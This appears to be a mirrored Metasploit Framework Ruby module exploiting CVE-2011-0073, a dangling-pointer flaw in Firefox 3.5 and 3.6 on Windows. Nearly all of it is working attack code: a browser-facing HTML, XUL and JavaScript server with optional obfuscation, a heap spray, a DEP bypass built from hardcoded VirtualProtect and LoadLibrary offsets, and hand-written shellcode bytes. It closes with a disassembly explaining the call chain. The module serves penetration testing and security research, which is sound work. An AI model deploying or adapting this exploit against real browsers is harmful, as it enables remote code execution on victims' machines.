mirror of
https://github.com/rapid7/metasploit-framework
synced 2024-10-29 18:07:27 +01:00
373 lines
11 KiB
Ruby
373 lines
11 KiB
Ruby
##
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
# web site for more information on licensing and terms of use.
|
|
# http://metasploit.com/
|
|
##
|
|
|
|
require 'msf/core'
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
|
Rank = NormalRanking
|
|
|
|
include Msf::Exploit::Remote::HttpServer::HTML
|
|
|
|
include Msf::Exploit::Remote::BrowserAutopwn
|
|
autopwn_info({
|
|
:ua_name => HttpClients::FF,
|
|
:ua_minver => "3.5",
|
|
:ua_maxver => "3.6.16",
|
|
:os_name => OperatingSystems::WINDOWS,
|
|
:javascript => true,
|
|
:rank => NormalRanking,
|
|
:vuln_test => "if (navigator.userAgent.indexOf('Windows NT 5.1') != -1 || navigator.javaEnabled()) { is_vuln = true; }",
|
|
})
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'Mozilla Firefox "nsTreeRange" Dangling Pointer Vulnerability',
|
|
'Description' => %q{
|
|
This module exploits a code execution vulnerability in Mozilla Firefox
|
|
3.6.x <= 3.6.16 and 3.5.x <= 3.5.17 found in nsTreeSelection.
|
|
By overwriting a subfunction of invalidateSelection it is possible to free the
|
|
nsTreeRange object that the function currently operates on.
|
|
Any further operations on the freed object can result in remote code execution.
|
|
Utilizing the call setup the function provides it's possible to bypass DEP
|
|
without the need for a ROP. Sadly this exploit is still either dependent
|
|
on Java or bound by ASLR because Firefox doesn't employ any ASLR-free
|
|
modules anymore.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' =>
|
|
[
|
|
'regenrecht', # discovered and sold to ZDI
|
|
'xero', # Shenanigans
|
|
],
|
|
'References' =>
|
|
[
|
|
['CVE', '2011-0073'],
|
|
['OSVDB', '72087'],
|
|
['BID', '47663'],
|
|
['URL', 'http://www.zerodayinitiative.com/advisories/ZDI-11-157/'],
|
|
['URL', 'https://bugzilla.mozilla.org/show_bug.cgi?id=630919'],
|
|
['URL', 'http://www.mozilla.org/security/announce/2011/mfsa2011-13.html']
|
|
],
|
|
'DefaultOptions' =>
|
|
{
|
|
'EXITFUNC' => 'thread', # graceful exit if run in separate thread
|
|
'InitialAutoRunScript' => 'migrate -f',
|
|
},
|
|
'Payload' =>
|
|
{
|
|
'Space' => 0x1000, # depending on the spray size it's actually a lot more
|
|
},
|
|
'Targets' =>
|
|
[
|
|
[ 'Auto (Direct attack against Windows XP, otherwise through Java, if enabled)',
|
|
{
|
|
'Platform' => 'win',
|
|
'Arch' => ARCH_X86,
|
|
'Auto' => true,
|
|
'Targets' => [['navigator.userAgent.indexOf("Windows NT 5.1") != -1', 1],
|
|
['navigator.javaEnabled()', 2]],
|
|
'UsesJava' => true
|
|
}
|
|
],
|
|
[ 'Firefox Runtime, fails with ASLR',
|
|
{
|
|
'Platform' => 'win',
|
|
'Arch' => ARCH_X86,
|
|
'VPOffset' => 0x781A91F8, # VirtualProtect
|
|
'LLOffset' => 0x781A9104, # LoadLibraryA
|
|
'GPAOffset' => 0x781A9014, # GetProcAddress
|
|
'UsesJava' => false
|
|
}
|
|
],
|
|
[ 'Java Runtime (7.10.3052.4), best against ASLR',
|
|
{
|
|
'Platform' => 'win',
|
|
'Arch' => ARCH_X86,
|
|
'VPOffset' => 0x7C37A140,
|
|
'LLOffset' => 0x7C37A0B8,
|
|
'GPAOffset' => 0x7C37A00C,
|
|
'UsesJava' => true
|
|
}
|
|
],
|
|
[ 'Java JVM (20.1.0.02)',
|
|
{
|
|
'Platform' => 'win',
|
|
'Arch' => ARCH_X86,
|
|
'VPOffset' => 0x6D9FC094,
|
|
'LLOffset' => 0x6D9FC110,
|
|
'GPAOffset' => 0x6D9FC188,
|
|
'UsesJava' => true
|
|
}
|
|
],
|
|
[ 'Java Regutils (6.0.260.3)',
|
|
{
|
|
'Platform' => 'win',
|
|
'Arch' => ARCH_X86,
|
|
'VPOffset' => 0x6D6C227C,
|
|
'LLOffset' => 0x6D6C2198,
|
|
'GPAOffset' => 0x6D6C2184,
|
|
'UsesJava' => true
|
|
}
|
|
],
|
|
],
|
|
'DefaultTarget' => 0,
|
|
'DisclosureDate' => 'Feb 2 2011'
|
|
))
|
|
|
|
register_options(
|
|
[
|
|
OptBool.new('SEHProlog', [ true, 'Whether to prepend the payload with an SEH prolog, to catch crashes and enable a silent exit', true]),
|
|
OptBool.new('CreateThread', [ true, 'Whether to execute the payload in a new thread', true]),
|
|
OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', true]),
|
|
], self.class
|
|
)
|
|
|
|
register_advanced_options(
|
|
[
|
|
OptInt.new('BaseOffset', [ true, 'The offset we hope to have overwritten with our heap spray', 0x0F000000 ]),
|
|
OptInt.new('SpraySize', [ true, 'The size of our heapspray blocks', 0x100000 ]),
|
|
OptInt.new('SprayCount', [ true, 'Number of blocks to be sprayed', 200 ]),
|
|
OptBool.new('SetBP', [ true, 'Set a breakpoint before payload execution', false ]),
|
|
OptBool.new('Crash', [ true, 'Usa an invalid offset to make the exploit crash (for debugging)', false ]),
|
|
], self.class
|
|
)
|
|
end
|
|
|
|
def prepare_payload(target, p)
|
|
base_offset = (datastore['Crash'] != true) ? datastore['BaseOffset'] : 1
|
|
spray_size = datastore['SpraySize']
|
|
|
|
esp_fix = 0
|
|
callchain = []
|
|
|
|
# Adding calls by hand is tedious, look at the bottom for an explanation of these values
|
|
add_call = Proc.new { |offset, arg1, arg2, direct |
|
|
next_offset = base_offset + (callchain.flatten.length*4)
|
|
callchain[-1][2] = next_offset if callchain.length > 0 # connect new frame to last one
|
|
|
|
if direct
|
|
callchain <<
|
|
[
|
|
next_offset + 0x4 - 8,
|
|
next_offset + 0x14,
|
|
0,
|
|
arg1,
|
|
arg2,
|
|
next_offset + 0x18 - 0x70,
|
|
offset
|
|
]
|
|
else
|
|
callchain <<
|
|
[
|
|
next_offset + 0x4 - 8,
|
|
next_offset + 0x14,
|
|
0,
|
|
arg1,
|
|
arg2,
|
|
offset - 0x70
|
|
]
|
|
end
|
|
}
|
|
|
|
add_call.call(target['LLOffset'], base_offset, 0) # use dummy LoadLibrary call to push valid fourth VirtualProtect argument on stack
|
|
add_call.call(target['VPOffset'], 0x10000, 0x40) # call VirtualProtect to make heap executable
|
|
add_call.call(0xDEADBEEF, 0, 0, true) # call our shellcode
|
|
|
|
callchain.flatten!
|
|
callchain[-1] = base_offset + (callchain.length*4) # patch last offset to point to shellcode located after callchain
|
|
|
|
esp_fix = 0x10
|
|
|
|
payload_buf = callchain.pack('V*')
|
|
|
|
payload_buf << "\xCC" if datastore['SetBP']
|
|
|
|
# make rest of shellcode run in separate thread
|
|
if datastore['CreateThread'] and target['LLOffset'] and target['GPAOffset']
|
|
payload_buf << "\x60\x31\xc0\x50\x50\x50\xe8\x00\x00\x00\x00\x5a\x89\xd6"
|
|
payload_buf << "\x52\x83\x04\x24\x3b\x83\xc2\x25\x83\xc6\x2e\x50\x50\x56"
|
|
payload_buf << "\x52\xff\x15#{[target['LLOffset']].pack('V')}\x50\xff\x15#{[target['GPAOffset']].pack('V')}"
|
|
payload_buf << "\xff\xd0\x61\xc2#{[esp_fix].pack('v')}\x6b\x65\x72\x6e\x65\x6c\x33\x32"
|
|
payload_buf << "\x00\x43\x72\x65\x61\x74\x65\x54\x68\x72\x65\x61\x64\x00"
|
|
|
|
esp_fix = 0
|
|
end
|
|
|
|
# encapsulate actual payload in SEH handler
|
|
if datastore['SEHProlog']
|
|
payload_buf << "\x60\xe8\x00\x00\x00\x00\x83\x04\x24\x1a\x64\xff\x35\x00"
|
|
payload_buf << "\x00\x00\x00\x64\x89\x25\x00\x00\x00\x00\x81\xec\x00\x01"
|
|
payload_buf << "\x00\x00\xeb\x12\x8b\x64\x24\x08\x64\x8f\x05\x00\x00\x00"
|
|
payload_buf << "\x00\x83\xc4\x04\x61\xc2"
|
|
payload_buf << [esp_fix].pack('v')
|
|
end
|
|
|
|
payload_buf << p
|
|
|
|
# controlled crash, to return to our SEH handler
|
|
payload_buf << "\x33\xC0\xFF\xE0" if datastore['SEHProlog']
|
|
|
|
payload_buf
|
|
end
|
|
|
|
def on_request_uri(cli, request)
|
|
|
|
if request.uri == get_resource() or request.uri =~ /\/$/
|
|
print_status("Redirecting to .html URL")
|
|
redir = get_resource()
|
|
redir << '/' if redir[-1,1] != '/'
|
|
redir << rand_text_alphanumeric(4+rand(4))
|
|
redir << '.html'
|
|
send_redirect(cli, redir)
|
|
|
|
elsif request.uri =~ /\.html?$/
|
|
print_status("Sending HTML")
|
|
xul_name = rand_text_alpha(rand(100)+1)
|
|
j_applet = rand_text_alpha(rand(100)+1)
|
|
|
|
html = <<-EOS
|
|
<html>
|
|
#{"<applet codebase=\".\" code=\"#{j_applet}.class\" width=0 height=0></applet>" if target['UsesJava']}
|
|
<iframe src="#{xul_name}.xul" width="1" height="1" frameborder="0"></iframe>
|
|
</html>
|
|
EOS
|
|
send_response(cli, html, { 'Content-Type' => 'text/html' })
|
|
|
|
elsif request.uri =~ /\.xul$/
|
|
print_status("Sending XUL")
|
|
|
|
js_file = rand_text_alpha(rand(100)+1)
|
|
@js_func = rand_text_alpha(rand(32)+1)
|
|
|
|
xul = <<-EOS
|
|
<?xml version="1.0"?>
|
|
<?xml-stylesheet type="text/css"?>
|
|
<window xmlns:html="http://www.w3.org/1999/xhtml" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul" onload="#{@js_func}()">
|
|
<script src="#{js_file}.js"/>
|
|
<tree id="tr">
|
|
<treechildren>
|
|
<treeitem>
|
|
<treerow>
|
|
<treecell label=""/>
|
|
</treerow>
|
|
</treeitem>
|
|
</treechildren>
|
|
</tree>
|
|
</window>
|
|
EOS
|
|
send_response(cli, xul, { 'Content-Type' => 'application/vnd.mozilla.xul+xml' })
|
|
|
|
elsif request.uri =~ /\.js$/
|
|
print_status("Sending JS")
|
|
return if ((p = regenerate_payload(cli).encoded) == nil)
|
|
|
|
base_offset = (datastore['Crash'] != true) ? datastore['BaseOffset'] : 1
|
|
spray_size = datastore['SpraySize']
|
|
spray_count = datastore['SprayCount']
|
|
|
|
if not target['Auto']
|
|
escaped_payload = Rex::Text.to_unescape(prepare_payload(target, p))
|
|
shellcode_str = "var shellcode = unescape(\"#{escaped_payload}\");"
|
|
else
|
|
shellcode_str = target['Targets'].map{ |check, index|
|
|
"if (#{check}) {\n var shellcode = unescape(\"#{Rex::Text.to_unescape(prepare_payload(targets[index], p))}\");\n }"}.join(' else ')
|
|
shellcode_str << " else { return; }"
|
|
end
|
|
|
|
escaped_addr = Rex::Text.to_unescape([base_offset].pack("V"))
|
|
|
|
custom_js = <<-EOS
|
|
function #{@js_func}() {
|
|
|
|
container = new Array();
|
|
|
|
#{shellcode_str}
|
|
|
|
var delimiter = unescape("%udead");
|
|
|
|
var block = unescape("#{escaped_addr}");
|
|
while (block.length < 8)
|
|
block += block;
|
|
|
|
var treeSel = document.getElementById("tr").view.selection;
|
|
|
|
treeSel.clearSelection();
|
|
|
|
for (var count = 0; count < 30; ++count)
|
|
container.push(block + delimiter);
|
|
|
|
treeSel.select(0);
|
|
|
|
treeSel.tree = {
|
|
invalidateRange: function(s,e) {
|
|
|
|
treeSel.tree = null;
|
|
treeSel.clearSelection();
|
|
|
|
for (var count = 0; count < 10; ++count)
|
|
container.push(block + delimiter);
|
|
|
|
var big = unescape("%u4558%u4f52");
|
|
while (big.length < #{spray_size / 2})
|
|
big += big;
|
|
|
|
var pad = big.substring(0, #{(base_offset % spray_size)/2}) + shellcode;
|
|
var spray = pad + big.substring(pad.length + 2);
|
|
|
|
for (var count = 0; count < #{spray_count}; ++count)
|
|
container.push(spray + delimiter);
|
|
}
|
|
}
|
|
|
|
treeSel.invalidateSelection();
|
|
}
|
|
EOS
|
|
|
|
if datastore['OBFUSCATE']
|
|
opts = {
|
|
'Symbols' => {
|
|
'Variables' => %w{ shellcode container delimiter block treeSel big pad spray count }
|
|
}
|
|
}
|
|
|
|
custom_js = obfuscate_js(custom_js,opts)
|
|
end
|
|
|
|
send_response(cli, custom_js, { 'Content-Type' => 'application/x-javascript' })
|
|
end
|
|
|
|
# Handle the payload
|
|
handler(cli)
|
|
end
|
|
end
|
|
|
|
=begin
|
|
|
|
ESI points to shellcode
|
|
|
|
final call looks like this: CALL [[[[ESI]+8]]+70]
|
|
[ESI+10], [ESI+C] and [[ESI]+8] are pushed as arguments
|
|
[ESI+8] points to the next call frame, if there is one
|
|
|
|
104924BC /$ 56 PUSH ESI
|
|
104924BD |. 8B7424 08 MOV ESI,DWORD PTR SS:[ESP+8]
|
|
104924C1 |> 8B06 /MOV EAX,DWORD PTR DS:[ESI]
|
|
104924C3 |. 8B40 08 |MOV EAX,DWORD PTR DS:[EAX+8]
|
|
104924C6 |. 85C0 |TEST EAX,EAX
|
|
104924C8 |. 74 0C |JE SHORT xul.104924D6
|
|
104924CA |. FF76 10 |PUSH DWORD PTR DS:[ESI+10]
|
|
104924CD |. 8B08 |MOV ECX,DWORD PTR DS:[EAX]
|
|
104924CF |. FF76 0C |PUSH DWORD PTR DS:[ESI+C]
|
|
104924D2 |. 50 |PUSH EAX
|
|
104924D3 |. FF51 70 |CALL DWORD PTR DS:[ECX+70] # does the calling for us
|
|
104924D6 |> 8B76 08 |MOV ESI,DWORD PTR DS:[ESI+8]
|
|
104924D9 |. 85F6 |TEST ESI,ESI
|
|
104924DB |.^ 75 E4 \JNZ SHORT xul.104924C1
|
|
104924DD |. 5E POP ESI
|
|
104924DE \. C2 0400 RETN 4
|
|
=end
|